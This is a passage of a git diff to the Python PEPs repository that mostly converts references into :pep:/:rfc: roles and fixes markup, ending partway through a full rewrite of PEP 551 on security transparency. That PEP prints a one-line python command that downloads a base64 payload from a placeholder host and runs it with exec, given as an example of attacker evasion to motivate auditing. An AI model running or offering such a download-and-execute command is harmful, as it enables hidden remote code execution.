proposes to entirely decouple CPython's default text encoding from the C locale system in that case, allowing text handling inconsistencies to arise between CPython and other locale-aware components running in the same process and in subprocesses. This approach aims to make CPython behave less @@ -219,7 +219,7 @@ solution: in the wider C/C++ ecosystem After reviewing both PEPs, it became clear that they didn't actually conflict -at a technical level, and the proposal in PEP 540 offered a superior option in +at a technical level, and the proposal in :pep:`540` offered a superior option in cases where no suitable locale was available, as well as offering a better reference behaviour for platforms where the notion of a "locale encoding" doesn't make sense (for example, embedded systems running MicroPython rather @@ -229,13 +229,13 @@ Meanwhile, this PEP offered improved compatibility with other locale-aware components, and an approach more amenable to being backported to Python 3.6 by downstream redistributors. -As a result, this PEP was amended to refer to PEP 540 as a complementary +As a result, this PEP was amended to refer to :pep:`540` as a complementary solution that offered improved behaviour when none of the standard UTF-8 based locales were available, as well as extending the changes in the default settings to APIs that aren't currently independently configurable (such as the default encoding and error handler for ``open()``). -The availability of PEP 540 also meant that the ``LC_CTYPE=en_US.UTF-8`` legacy +The availability of :pep:`540` also meant that the ``LC_CTYPE=en_US.UTF-8`` legacy fallback was removed from the list of UTF-8 locales tried as a coercion target, with the expectation being that CPython will instead rely solely on the proposed PYTHONUTF8 mode in such cases. @@ -331,7 +331,7 @@ universally available for use by glibc based applications like CPython [6_], this unfortunately doesn't help on platforms that ship older versions of glibc without that feature, and also don't provide C.UTF-8 (or an equivalent) as an on-disk locale the way Debian and Fedora do. These platforms are considered -out of scope for this PEP - see PEP 540 for further discussion of possible +out of scope for this PEP - see :pep:`540` for further discussion of possible options for improving CPython's default behaviour in such environments. @@ -592,7 +592,7 @@ Android-specific details: Platform Support Changes ======================== -A new "Legacy C Locale" section will be added to PEP 11 that states: +A new "Legacy C Locale" section will be added to :pep:`11` that states: * as of CPython 3.7, \*nix platforms are expected to provide at least one of ``C.UTF-8`` (full locale), ``C.utf8`` (full locale) or ``UTF-8`` ( @@ -650,7 +650,7 @@ By coercing the locale away from the legacy C default and its assumption of ASCII as the preferred text encoding, this PEP also disables the implicit use of the "surrogateescape" error handler on the standard IO streams that was introduced in Python 3.5 ([15_]), as well as the automatic use of -``surrogateescape`` when operating in PEP 540's proposed UTF-8 mode. +``surrogateescape`` when operating in :pep:`540`'s proposed UTF-8 mode. Rather than introducing yet another configuration option to adjust that behaviour, this PEP instead proposes to extend the "surrogateescape" default @@ -794,7 +794,7 @@ legacy C locale for over a decade at this point. Not only haven't we been able to get it to work, neither has anyone else - the only viable alternatives identified have been to pass the bytes along verbatim without eagerly decoding them to text (C/C++, Python 2.x, Ruby, etc), or else to largely ignore the -nominal C/C++ locale encoding and assume the use of either UTF-8 (PEP 540, +nominal C/C++ locale encoding and assume the use of either UTF-8 (:pep:`540`, Rust, Go, Node.js, etc) or UTF-16-LE (JVM, .NET CLR). While this PEP ensures that developers that genuinely need to do so can still @@ -803,7 +803,7 @@ opt-in to running their Python code in the legacy C locale (by setting ``--without-c-locale-coercion``), it also makes it clear that we *don't* expect Python 3's Unicode handling to be completely reliable in that configuration, and the recommended alternative is to use a more appropriate -locale setting (potentially in combination with PEP 540's UTF-8 mode, if that +locale setting (potentially in combination with :pep:`540`'s UTF-8 mode, if that is available). @@ -954,15 +954,15 @@ coercion notice in that case, coercion is instead skipped entirely. Considering locale coercion independently of "UTF-8 mode" --------------------------------------------------------- -With both this PEP's locale coercion and PEP 540's UTF-8 mode under +With both this PEP's locale coercion and :pep:`540`'s UTF-8 mode under consideration for Python 3.7, it makes sense to ask whether or not we can limit ourselves to only doing one or the other, rather than making both changes. -The UTF-8 mode proposed in PEP 540 has two major limitations that make it a +The UTF-8 mode proposed in :pep:`540` has two major limitations that make it a potential complement to this PEP rather than a potential replacement. -First, unlike this PEP, PEP 540's UTF-8 mode makes it possible to change default +First, unlike this PEP, :pep:`540`'s UTF-8 mode makes it possible to change default behaviours that are not currently configurable at all. While that's exactly what makes the proposal interesting, it's also what makes it an entirely unproven approach. By contrast, the approach proposed in this PEP builds @@ -975,7 +975,7 @@ Secondly, one of the things we know based on that experience is that the proposed locale coercion can resolve problems not only in CPython itself, but also in extension modules that interact with the standard streams, like GNU readline. As an example, consider the following interactive session -from a PEP 538 enabled CPython build, where each line after the first is +from a :pep:`538` enabled CPython build, where each line after the first is executed by doing "up-arrow, left-arrow x4, delete, enter":: $ LANG=C ./python @@ -1018,7 +1018,7 @@ locale settings:: That particular misbehaviour is coming from GNU readline, *not* CPython - because the command history editing wasn't UTF-8 aware, it corrupted the history buffer and fed such nonsense to stdin that even the surrogateescape error -handler was bypassed. While PEP 540's UTF-8 mode could technically be updated +handler was bypassed. While :pep:`540`'s UTF-8 mode could technically be updated to also reconfigure readline, that's just *one* extension module that might be interacting with the standard streams without going through the CPython C API, and any change made by CPython would only apply when readline is running @@ -1165,7 +1165,7 @@ practical viability of the proposed changes. The initial draft was posted to the Python Linux SIG for discussion [10_] and then amended based on both that discussion and Victor Stinner's work in -PEP 540 [11_]. +:pep:`540` [11_]. The "ℙƴ☂ℌøἤ" string used in the Unicode handling examples throughout this PEP is taken from Ned Batchelder's excellent "Pragmatic Unicode" presentation [9_]. diff --git a/pep-0539.txt b/pep-0539.txt index ad0b821e6ba..2aa74fc8a96 100644 --- a/pep-0539.txt +++ b/pep-0539.txt @@ -207,7 +207,7 @@ When ``Py_LIMITED_API`` is defined, a TSS key must be dynamically allocated:: Platform Support Changes ======================== -A new "Native Thread Implementation" section will be added to PEP 11 that +A new "Native Thread Implementation" section will be added to :pep:`11` that states: * As of CPython 3.7, all platforms are required to provide a native thread @@ -252,7 +252,7 @@ with Python's API because their ``pthread_key_t`` is defined in a way that cannot be safely cast to ``int``. In fact, the possibility of running into this problem was raised by MvL at the time pthreads TLS was added [2]_. -It could be argued that PEP-11 makes specific requirements for supporting a +It could be argued that :pep:`11` makes specific requirements for supporting a new, not otherwise officially-support platform (such as CloudABI), and that the status of Cygwin support is currently dubious. However, this creates a very high barrier to supporting platforms that are otherwise Linux- and/or @@ -316,7 +316,7 @@ Rejected Ideas * Do nothing: The status quo is fine because it works on Linux, and platforms wishing to be supported by CPython should follow the requirements of - PEP-11. As explained above, while this would be a fair argument if + :pep:`11`. As explained above, while this would be a fair argument if CPython were being to asked to make changes to support particular quirks or features of a specific platform, in this case it is a quirk of CPython that prevents it from being used to its full potential on otherwise @@ -382,8 +382,7 @@ References and Footnotes .. [10] https://github.com/python/cpython/compare/master...ma8ma:pep539-tss-api .. [11] https://github.com/python/cpython/pull/1362 .. [12] https://docs.python.org/3/c-api/init.html#c.Py_FinalizeEx -.. [13] It is also called as "stable ABI" - (https://www.python.org/dev/peps/pep-0384/) +.. [13] It is also called as "stable ABI" (:pep:`384`) .. [14] http://pubs.opengroup.org/onlinepubs/009695399/functions/pthread_key_create.html .. [15] http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf#page=404 .. [16] https://bugs.python.org/issue31370 diff --git a/pep-0540.txt b/pep-0540.txt index 3920ee4f5fa..fd6f492048e 100644 --- a/pep-0540.txt +++ b/pep-0540.txt @@ -263,7 +263,7 @@ If stdin and/or stdout is redirected to a pipe, ``sys.stdin`` and/or But in UTF-8 Mode, ``sys.stdin`` and ``sys.stdout`` always use the UTF-8 encoding. -.. note: +.. note:: There is no POSIX locale on Windows. The ANSI code page is used as the locale encoding, and this code page never uses the ASCII encoding. @@ -274,13 +274,13 @@ Links * `bpo-29240: Implementation of the PEP 540: Add a new UTF-8 Mode `_ -* `PEP 538 `_: +* :pep:`538`: "Coercing the legacy C locale to C.UTF-8" -* `PEP 529 `_: +* :pep:`529`: "Change Windows filesystem encoding to UTF-8" -* `PEP 528 `_: +* :pep:`528`: "Change Windows console encoding to UTF-8" -* `PEP 383 `_: +* :pep:`383`: "Non-decodable Bytes in System Character Interfaces" diff --git a/pep-0541.txt b/pep-0541.txt index ec25fb50a17..76c78b12403 100644 --- a/pep-0541.txt +++ b/pep-0541.txt @@ -4,13 +4,14 @@ Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa BDFL-Delegate: Mark Mangoba -Discussions-To: distutils-sig +Discussions-To: distutils-sig@python.org Status: Final Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 12-Jan-2017 Post-History: -Resolution: https://mail.python.org/pipermail/distutils-sig/2018-March/032089.html +Resolution: https://mail.python.org/pipermail/distutils-sig/2018-March/032089.html Abstract @@ -72,16 +73,16 @@ The use cases covered by this document are: * Abandoned projects: - * continued maintenance by a different set of users; or - * removal from the Index for use with a different project. + * continued maintenance by a different set of users; or + * removal from the Index for use with a different project. * Active projects: - * resolving disputes over a name. + * resolving disputes over a name. * Invalid projects: - * projects subject to a claim of intellectual property infringement. + * projects subject to a claim of intellectual property infringement. The proposed extension to the Terms of Use, as expressed in the Implementation section, will be published as a separate document on the @@ -286,7 +287,7 @@ these are the steps to follow: 3. Search the `PyPI Support issues `_ to see if anyone else is already requesting the same name. 4. If all the criteria are met to transfer ownership of the name, - `open a new issue `_ + `open a new issue `_ to request it, detailing why you believe each relevant criterion is satisfied. diff --git a/pep-0543.rst b/pep-0543.rst index 1e47aa5024f..a605edca0c6 100644 --- a/pep-0543.rst +++ b/pep-0543.rst @@ -936,16 +936,16 @@ unless they have specific reasons to do so. NSS has both process global and per-connection settings for cipher suites. It does not have a concept of SSLContext like OpenSSL. A SSLContext-like behavior can be easily emulated. Specifically, ciphers can be enabled or disabled -globally with ```SSL_CipherPrefSetDefault(PRInt32 cipher, PRBool enabled)```, -and ```SSL_CipherPrefSet(PRFileDesc *fd, PRInt32 cipher, PRBool enabled)``` -for a connection. The cipher ```PRInt32``` number is a signed 32bit integer -that directly corresponds to an registered IANA id, e.g. ```0x1301``` -is ```TLS_AES_128_GCM_SHA256```. Contrary to OpenSSL, the preference order +globally with ``SSL_CipherPrefSetDefault(PRInt32 cipher, PRBool enabled)``, +and ``SSL_CipherPrefSet(PRFileDesc *fd, PRInt32 cipher, PRBool enabled)`` +for a connection. The cipher ``PRInt32`` number is a signed 32bit integer +that directly corresponds to an registered IANA id, e.g. ``0x1301`` +is ``TLS_AES_128_GCM_SHA256``. Contrary to OpenSSL, the preference order of ciphers is fixed and cannot be modified at runtime. Like SecureTransport, NSS has no API for aggregated entries. Some consumers of NSS have implemented custom mappings from OpenSSL cipher names and rules -to NSS ciphers, e.g. ```mod_nss```. +to NSS ciphers, e.g. ``mod_nss``. Proposed Interface diff --git a/pep-0544.txt b/pep-0544.txt index 80830b72f4e..0e9e73f040a 100644 --- a/pep-0544.txt +++ b/pep-0544.txt @@ -4,7 +4,7 @@ Version: $Revision$ Last-Modified: $Date$ Author: Ivan Levkivskyi , Jukka Lehtosalo , Łukasz Langa BDFL-Delegate: Guido van Rossum -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -16,8 +16,8 @@ Resolution: https://mail.python.org/archives/list/typing-sig@python.org/message/ Abstract ======== -Type hints introduced in PEP 484 can be used to specify type metadata -for static type checkers and other third party tools. However, PEP 484 +Type hints introduced in :pep:`484` can be used to specify type metadata +for static type checkers and other third party tools. However, :pep:`484` only specifies the semantics of *nominal* subtyping. In this PEP we specify static and runtime semantics of protocol classes that will provide a support for *structural* subtyping (static duck typing). @@ -28,12 +28,12 @@ for *structural* subtyping (static duck typing). Rationale and Goals =================== -Currently, PEP 484 and the ``typing`` module [typing]_ define abstract +Currently, :pep:`484` and the ``typing`` module [typing]_ define abstract base classes for several common Python protocols such as ``Iterable`` and ``Sized``. The problem with them is that a class has to be explicitly marked to support them, which is unpythonic and unlike what one would normally do in idiomatic dynamically typed Python code. For example, -this conforms to PEP 484:: +this conforms to :pep:`484`:: from typing import Sized, Iterable, Iterator @@ -80,9 +80,9 @@ Nominal vs structural subtyping Structural subtyping is natural for Python programmers since it matches the runtime semantics of duck typing: an object that has certain properties is treated independently of its actual runtime class. -However, as discussed in PEP 483, both nominal and structural +However, as discussed in :pep:`483`, both nominal and structural subtyping have their strengths and weaknesses. Therefore, in this PEP we -*do not propose* to replace the nominal subtyping described by PEP 484 with +*do not propose* to replace the nominal subtyping described by :pep:`484` with structural subtyping completely. Instead, protocol classes as specified in this PEP complement normal classes, and users are free to choose where to apply a particular solution. See section on `rejected`_ ideas at the @@ -95,7 +95,7 @@ Non-goals At runtime, protocol classes will be simple ABCs. There is no intent to provide sophisticated runtime instance and class checks against protocol classes. This would be difficult and error-prone and will contradict the logic -of PEP 484. As well, following PEP 484 and PEP 526 we state that protocols are +of :pep:`484`. As well, following :pep:`484` and :pep:`526` we state that protocols are **completely optional**: * No runtime semantics will be imposed for variables or parameters annotated @@ -330,7 +330,7 @@ Protocol members All methods defined in the protocol class body are protocol members, both normal and decorated with ``@abstractmethod``. If any parameters of a protocol method are not annotated, then their types are assumed to be ``Any`` -(see PEP 484). Bodies of protocol methods are type checked. +(see :pep:`484`). Bodies of protocol methods are type checked. An abstract method that should not be called via ``super()`` ought to raise ``NotImplementedError``. Example:: @@ -348,7 +348,7 @@ An abstract method that should not be called via ``super()`` ought to raise Static methods, class methods, and properties are equally allowed in protocols. -To define a protocol variable, one can use PEP 526 variable +To define a protocol variable, one can use :pep:`526` variable annotations in the class body. Additional attributes *only* defined in the body of a method by assignment via ``self`` are not allowed. The rationale for this is that the protocol class implementation is often not shared by @@ -376,7 +376,7 @@ Examples:: To distinguish between protocol class variables and protocol instance variables, the special ``ClassVar`` annotation should be used as specified -by PEP 526. By default, protocol variables as defined above are considered +by :pep:`526`. By default, protocol variables as defined above are considered readable and writable. To define a read-only protocol variable, one can use an (abstract) property. @@ -563,7 +563,7 @@ Recursive protocols ------------------- Recursive protocols are also supported. Forward references to the protocol -class names can be given as strings as specified by PEP 484. Recursive +class names can be given as strings as specified by :pep:`484`. Recursive protocols are useful for representing self-referential data structures like trees in an abstract fashion:: @@ -594,8 +594,9 @@ Continuing the previous example:: Self-types in protocols ----------------------- -The self-types in protocols follow the corresponding specification -[self-types]_ of PEP 484. For example:: +The self-types in protocols follow the +:pep:`corresponding specification <484#annotating-instance-and-class-methods>` +of :pep:`484`. For example:: C = TypeVar('C', bound='Copyable') class Copyable(Protocol): @@ -620,7 +621,7 @@ Callback protocols Protocols can be used to define flexible callback types that are hard (or even impossible) to express using the ``Callable[...]`` syntax -specified by PEP 484, such as variadic, overloaded, and complex generic +specified by :pep:`484`, such as variadic, overloaded, and complex generic callbacks. They can be defined as protocols with a ``__call__`` member:: from typing import Optional, List, Protocol @@ -729,7 +730,7 @@ Example:: cached_func((1, 2, 3)) # OK, tuple is both hashable and iterable If this will prove to be a widely used scenario, then a special -intersection type construct could be added in future as specified by PEP 483, +intersection type construct could be added in future as specified by :pep:`483`, see `rejected`_ ideas for more details. @@ -943,7 +944,7 @@ Properties can be settable and/or abstract if needed:: def d(self) -> int: # ... or it can be abstract return 0 -Also function type comments can be used as per PEP 484 (for example +Also function type comments can be used as per :pep:`484` (for example to provide compatibility with Python 2). The ``typing`` module changes proposed in this PEP will also be backported to earlier versions via the backport currently available on PyPI. @@ -1116,7 +1117,7 @@ variables. However, using getters and setters in cases where only a simple variable is needed would be quite unpythonic. Moreover, the widespread use of properties (that often act as type validators) in large code bases is partially due to previous absence of static type checkers for Python, -the problem that PEP 484 and this PEP are aiming to solve. For example:: +the problem that :pep:`484` and this PEP are aiming to solve. For example:: # without static types @@ -1178,7 +1179,7 @@ complicate both the concept and the implementation. On the other hand, Zope interfaces are conceptually a superset of protocols defined here, but using an incompatible syntax to define them, -because before PEP 526 there was no straightforward way to annotate attributes. +because before :pep:`526` there was no straightforward way to annotate attributes. In the 3.6+ world, ``zope.interface`` might potentially adopt the ``Protocol`` syntax. In this case, type checkers could be taught to recognize interfaces as protocols and make simple structural checks with respect to them. @@ -1332,7 +1333,7 @@ Overriding inferred variance of protocol classes ------------------------------------------------ It was proposed to allow declaring protocols as invariant if they are actually -covariant or contravariant (as it is possible for nominal classes, see PEP 484). +covariant or contravariant (as it is possible for nominal classes, see :pep:`484`). However, it was decided not to do this because of several downsides: * Declared protocol invariance breaks transitivity of sub-typing. Consider @@ -1375,9 +1376,10 @@ However, it was decided not to do this because of several downsides: Support adapters and adaptation ------------------------------- -Adaptation was proposed by PEP 246 (rejected) and is supported by -``zope.interface``, see https://docs.zope.org/zope.interface/adapter.html. -Adapters is quite an advanced concept, and PEP 484 supports unions and +Adaptation was proposed by :pep:`246` (rejected) and is supported by +``zope.interface``, see `the Zope documentation on adapter registries +`_. +Adapters is quite an advanced concept, and :pep:`484` supports unions and generic aliases that can be used instead of adapters. This can be illustrated with an example of ``Iterable`` protocol, there is another way of supporting iteration by providing ``__getitem__`` and ``__len__``. If a function @@ -1490,9 +1492,6 @@ References .. [elsewhere] https://github.com/python/peps/pull/224 -.. [self-types] - https://www.python.org/dev/peps/pep-0484/#annotating-instance-and-class-methods - Copyright ========= diff --git a/pep-0545.txt b/pep-0545.txt index 9e4ff3a03c6..b4c7c971f17 100644 --- a/pep-0545.txt +++ b/pep-0545.txt @@ -40,14 +40,14 @@ meet people who don't speak English and so are unable to read the Python official documentation. Python wants to be widely available to all users in any language: this is also why Python 3 supports any non-ASCII identifiers: -https://www.python.org/dev/peps/pep-3131/#rationale +:pep:`3131#rationale` There are at least 4 groups of people who are translating the Python documentation to their native language (French [16]_ [17]_ [18]_, -Japanese [19]_ [20]_, Spanish [21]_, Hungarian [27]_ [28]_) even +Japanese [19]_ [20]_, Spanish [21]_, Hungarian [26]_ [27]_) even though their translations are not visible on d.p.o. Other, less visible and less organized groups, are also translating the -documentation, we've heard of Russian [26]_, Chinese and +documentation, we've heard of Russian [25]_, Chinese and Korean. Others we haven't found yet might also exist. This PEP defines rules describing how to move translations on docs.python.org so they can easily be found by developers, newcomers and potential @@ -115,7 +115,7 @@ The three currently stable branches that will be translated are [12]_: branches needs to be modified to support translation [12]_, whereas these branches now only accept security-only fixes. -The development branch (master) should have a lower translation priority +The development branch (main) should have a lower translation priority than stable branches. But docsbuild-scripts should build it anyway so it is possible for a team to work on it to be ready for the next release. @@ -140,7 +140,7 @@ possible but confusing ("is it `es.docs.python.org` or `docs.es.python.org`?"). Hyphens in subdomains like `pt-br.doc.python.org` is uncommon and SEOMoz [23]_ correlated the presence of hyphens as a negative factor. Usage of underscores in -subdomain is prohibited by the RFC1123 [24]_, section 2.1. Finally, +subdomain is prohibited by the :rfc:`1123`, section 2.1. Finally, using subdomains means creating TLS certificates for each language. This not only requires more maintenance but will also cause issues in language switcher if, as for version switcher, we want a @@ -153,7 +153,7 @@ request and ``Vary: Accept-Language``) leads to a bad user experience where they can't easily change the language. According to Mozilla: "This header is a hint to be used when the server has no way of determining the language via another way, like a specific URL, that is -controlled by an explicit user decision." [25]_. As we want to be +controlled by an explicit user decision." [24]_. As we want to be able to easily change the language, we should not use the content negotiation as a main language determination, so we need something else. @@ -188,7 +188,7 @@ The current documentation is not moved to "/en/", instead Language Tag '''''''''''' -A common notation for language tags is the IETF Language Tag [3]_ +A common notation for language tags is the :rfc:`IETF Language Tag <5646>` [4]_ based on ISO 639, although gettext uses ISO 639 tags with underscores (ex: ``pt_BR``) instead of dashes to join tags [5]_ (ex: ``pt-BR``). Examples of IETF Language Tags: ``fr`` (French), @@ -202,7 +202,8 @@ internally: URLs are not meant to leak the underlying implementation. It's uncommon to see capitalized letters in URLs, and docs.python.org doesn't use any, so it may hurt readability by attracting the eye on it, like in: "https://docs.python.org/pt-BR/3.6/library/stdtypes.html". -RFC 5646 (Tags for Identifying Languages (IETF)) section-2.1 [7]_ +:rfc:`5646#section-2.1.1` +(Tags for Identifying Languages (IETF)) section-2.1 states that tags are not case sensitive. As the RFC allows lower case, and it enhances readability, we should use lowercased tags like ``pt-br``. @@ -416,7 +417,7 @@ Setup a GitHub bot for Documentation Contribution Agreement To help ensuring contributors from GitHub have signed the Documentation Contribution Agreement, We can setup the "The Knights Who Say Ni" GitHub bot customized for this agreement on the migrated -repositories [29]_. +repositories [28]_. Patch docsbuild-scripts to Compile Translations @@ -572,9 +573,6 @@ References .. [2] [Doc-SIG] Localization of Python docs (https://mail.python.org/pipermail/doc-sig/2013-September/003948.html) -.. [3] Tags for Identifying Languages - (http://tools.ietf.org/html/rfc5646) - .. [4] IETF language tag (https://en.wikipedia.org/wiki/IETF_language_tag) @@ -584,9 +582,6 @@ References .. [6] Semantic URL: Slug (https://en.wikipedia.org/wiki/Semantic_URL#Slug) -.. [7] Tags for Identifying Languages: Formatting of Language Tags - (https://tools.ietf.org/html/rfc5646#section-2.1.1) - .. [8] Docsbuild-scripts GitHub repository (https://github.com/python/docsbuild-scripts/) @@ -635,22 +630,19 @@ References .. [23] Domains - SEO Best Practices | Moz (https://moz.com/learn/seo/domain) -.. [24] Requirements for Internet Hosts -- Application and Support - (https://www.ietf.org/rfc/rfc1123.txt) - -.. [25] Accept-Language +.. [24] Accept-Language (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Language) -.. [26] Документация Python 2.7! +.. [25] Документация Python 2.7! (http://python-lab.ru/documentation/index.html) -.. [27] Python-oktató +.. [26] Python-oktató (http://harp.pythonanywhere.com/python_doc/tutorial/index.html) -.. [28] The Python-hu Archives +.. [27] The Python-hu Archives (https://mail.python.org/pipermail/python-hu/) -.. [29] [Python-Dev] PEP 545: Python Documentation Translations +.. [28] [Python-Dev] PEP 545: Python Documentation Translations (https://mail.python.org/pipermail/python-dev/2017-April/147752.html) diff --git a/pep-0546.txt b/pep-0546.txt index c25654f70ca..867d4f175da 100644 --- a/pep-0546.txt +++ b/pep-0546.txt @@ -109,7 +109,7 @@ bundling PyOpenSSL. Only backporting ``ssl.MemoryBIO`` and ``ssl.SSLObject`` would avoid the need to embed pyOpenSSL, and would fix the bootstrap issue (python -> ensurepip -> pip -> requests -> MemoryBIO). -This situation is less problematic than the barrier to adoption of PEP 543, as +This situation is less problematic than the barrier to adoption of :pep:`543`, as naturally Requests does not have to move to an event loop model before it drops support for Python 2.7. However, it does make it painful for Requests (and pip) to embrace both asyncio and the ``async`` and ``await`` keywords for as long as diff --git a/pep-0547.rst b/pep-0547.rst index 4dff27c266a..51d524a1f36 100644 --- a/pep-0547.rst +++ b/pep-0547.rst @@ -28,7 +28,7 @@ Abstract This PEP proposes implementation that allows built-in and extension modules to be executed in the ``__main__`` namespace using -the PEP 489 multi-phase initialization. +the :pep:`489` multi-phase initialization. With this, a multi-phase initialization enabled module can be run using following command:: @@ -45,7 +45,7 @@ Python source modules. Specifically, it is not possible to run extension modules as scripts using Python's ``-m`` option. -The technical groundwork to make this possible has been done for PEP 489, +The technical groundwork to make this possible has been done for :pep:`489`, and enabling the ``-m`` option is listed in that PEP's “Possible Future Extensions” section. Technically, the additional changes proposed here are relatively small. @@ -91,7 +91,7 @@ This is not the case for extension modules, whose ``PyInit_*`` entry point traditionally both created a new module object (using ``PyModule_Create``), and initialized it. -Since Python 3.5, extension modules can use PEP 489 multi-phase initialization. +Since Python 3.5, extension modules can use :pep:`489` multi-phase initialization. In this scenario, the ``PyInit_*`` entry point returns a ``PyModuleDef`` structure: a description of how the module should be created and initialized. The extension can choose to customize creation of the module object using @@ -128,7 +128,7 @@ its ``md_state`` is normally ``NULL``. Before initializing an extension module in ``__main__``'s context, its module state will be allocated according to the ``PyModuleDef`` of that module. -While PEP 489 was designed to make these changes generally possible, +While :pep:`489` was designed to make these changes generally possible, it's necessary to decouple module discovery, creation, and initialization steps for extension modules, so that another module can be used instead of a newly initialized one, and the functionality needs to be added to @@ -161,7 +161,7 @@ importlib's ``ExtensionFileLoader`` will get an implementation of extension module's ``PyInit_*`` function. The ``PyInit_*`` function can return either a fully initialized module -(single-phase initialization) or a ``PyModuleDef`` (for PEP 489 multi-phase +(single-phase initialization) or a ``PyModuleDef`` (for :pep:`489` multi-phase initialization). In the single-phase initialization case, ``_imp.exec_in_module`` will raise @@ -196,7 +196,6 @@ References .. _GitHub: https://github.com/python/cpython/pull/1761 .. _Cython issue 1715: https://github.com/cython/cython/issues/1715 -.. _Possible Future Extensions section: https://www.python.org/dev/peps/pep-0489/#possible-future-extensions .. _Cython issue 1923: https://github.com/cython/cython/pull/1923 diff --git a/pep-0549.rst b/pep-0549.rst index ca58074c3c3..69040a9aa3b 100644 --- a/pep-0549.rst +++ b/pep-0549.rst @@ -2,14 +2,14 @@ PEP: 549 Title: Instance Descriptors Version: $Revision$ Last-Modified: $Date$ -Author: larry@hastings.org (Larry Hastings) -Discussions-To: Python-Dev +Author: Larry Hastings +Discussions-To: python-dev@python.org Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 04-Sep-2017 Python-Version: 3.7 -Post-History: 4-Sep-2017 +Post-History: 04-Sep-2017 Rejection Notice diff --git a/pep-0550.rst b/pep-0550.rst index 4cb7bba1ddf..0332900737f 100644 --- a/pep-0550.rst +++ b/pep-0550.rst @@ -1309,7 +1309,7 @@ execution state:: def __exit__(self, *err): self.var.set(self.old_x) -An equivalent implementation with PEP 521:: +An equivalent implementation with :pep:`521`:: local = threading.local() @@ -1568,6 +1568,7 @@ Appendix: HAMT Performance Analysis .. figure:: pep-0550-hamt_vs_dict-v2.png :align: center :width: 100% + :class: invert-in-dark-mode Figure 1. Benchmark code can be found here: [9]_. @@ -1581,6 +1582,7 @@ The above chart demonstrates that: .. figure:: pep-0550-lookup_hamt.png :align: center :width: 100% + :class: invert-in-dark-mode Figure 2. Benchmark code can be found here: [10]_. @@ -1715,8 +1717,6 @@ References .. [11] https://github.com/1st1/cpython/tree/pep550 -.. [12] https://www.python.org/dev/peps/pep-0492/#async-await - .. [13] https://github.com/MagicStack/uvloop/blob/master/examples/bench/echoserver.py .. [14] https://github.com/MagicStack/pgbench diff --git a/pep-0551.rst b/pep-0551.rst index 4cb3432a9db..1f800beb679 100644 --- a/pep-0551.rst +++ b/pep-0551.rst @@ -1,544 +1,544 @@ -PEP: 551 -Title: Security transparency in the Python runtime -Version: $Revision$ -Last-Modified: $Date$ -Author: Steve Dower -Status: Withdrawn -Type: Informational -Content-Type: text/x-rst -Created: 23-Aug-2017 -Python-Version: 3.7 -Post-History: 24-Aug-2017 (security-sig), 28-Aug-2017 (python-dev) - -.. note:: - This PEP has been withdrawn. For information about integrated - CPython into a secure environment, we recommend consulting your own - security experts. - -Relationship to PEP 578 -======================= - -This PEP has been split into two since its original posting. - -See `PEP 578 `_ for the -auditing APIs proposed for addition to the next version of Python. - -This is now an informational PEP, providing guidance to those planning -to integrate Python into their secure or audited environments. - -Abstract -======== - -This PEP describes the concept of security transparency and how it -applies to the Python runtime. Visibility into actions taken by the -runtime is invaluable in integrating Python into an otherwise secure -and/or monitored environment. - -The audit hooks described in PEP-578 are an essential component in -detecting, identifying and analyzing misuse of Python. While the hooks -themselves are neutral (in that not every reported event is inherently -misuse), they provide essential context to those who are responsible -for monitoring an overall system or network. With enough transparency, -attackers are no longer able to hide. - -Background -========== - -Software vulnerabilities are generally seen as bugs that enable remote -or elevated code execution. However, in our modern connected world, the -more dangerous vulnerabilities are those that enable advanced persistent -threats (APTs). APTs are achieved when an attacker is able to penetrate -a network, establish their software on one or more machines, and over -time extract data or intelligence. Some APTs may make themselves known -by maliciously damaging data (e.g., `WannaCrypt -`_) -or hardware (e.g., `Stuxnet -`_). -Most attempt to hide their existence and avoid detection. APTs often use -a combination of traditional vulnerabilities, social engineering, -phishing (or spear-phishing), thorough network analysis, and an -understanding of misconfigured environments to establish themselves and -do their work. - -The first infected machines may not be the final target and may not -require special privileges. For example, an APT that is established as a -non-administrative user on a developer’s machine may have the ability to -spread to production machines through normal deployment channels. It is -common for APTs to persist on as many machines as possible, with sheer -weight of presence making them difficult to remove completely. - -Whether an attacker is seeking to cause direct harm or hide their -tracks, the biggest barrier to detection is a lack of insight. System -administrators with large networks rely on distributed logs to -understand what their machines are doing, but logs are often filtered to -show only error conditions. APTs that are attempting to avoid detection -will rarely generate errors or abnormal events. Reviewing normal -operation logs involves a significant amount of effort, though work is -underway by a number of companies to enable automatic anomaly detection -within operational logs. The tools preferred by attackers are ones that -are already installed on the target machines, since log messages from -these tools are often expected and ignored in normal use. - -At this point, we are not going to spend further time discussing the -existence of APTs or methods and mitigations that do not apply to this -PEP. For further information about the field, we recommend reading or -watching the resources listed under `Further Reading`_. - -Python is a particularly interesting tool for attackers due to its -prevalence on server and developer machines, its ability to execute -arbitrary code provided as data (as opposed to native binaries), and its -complete lack of internal auditing. This allows attackers to download, -decrypt, and execute malicious code with a single command:: - - python -c "import urllib.request, base64; - exec(base64.b64decode( - urllib.request.urlopen('http://my-exploit/py.b64') - ).decode())" - -This command currently bypasses most anti-malware scanners that rely on -recognizable code being read through a network connection or being -written to disk (base64 is often sufficient to bypass these checks). It -also bypasses protections such as file access control lists or -permissions (no file access occurs), approved application lists -(assuming Python has been approved for other uses), and automated -auditing or logging (assuming Python is allowed to access the internet -or access another machine on the local network from which to obtain its -payload). - -General consensus among the security community is that totally -preventing attacks is infeasible and defenders should assume that they -will often detect attacks only after they have succeeded. This is known -as the "assume breach" mindset. [1]_ In this scenario, protections such -as sandboxing and input validation have already failed, and the -important task is detection, tracking, and eventual removal of the -malicious code. To this end, the primary feature required from Python is -security transparency: the ability to see what operations the Python -runtime is performing that may indicate anomalous or malicious use. -Preventing such use is valuable, but secondary to the need to know that -it is occurring. - -To summarise the goals in order of increasing importance: - -* preventing malicious use is valuable -* detecting malicious use is important -* detecting attempts to bypass detection is critical - -One example of a scripting engine that has addressed these challenges is -PowerShell, which has recently been enhanced towards similar goals of -transparency and prevention. [2]_ - -Generally, application and system configuration will determine which -events within a scripting engine are worth logging. However, given the -value of many logs events are not recognized until after an attack is -detected, it is important to capture as much as possible and filter -views rather than filtering at the source (see the No Easy Breach video -from `Further Reading`_). Events that are 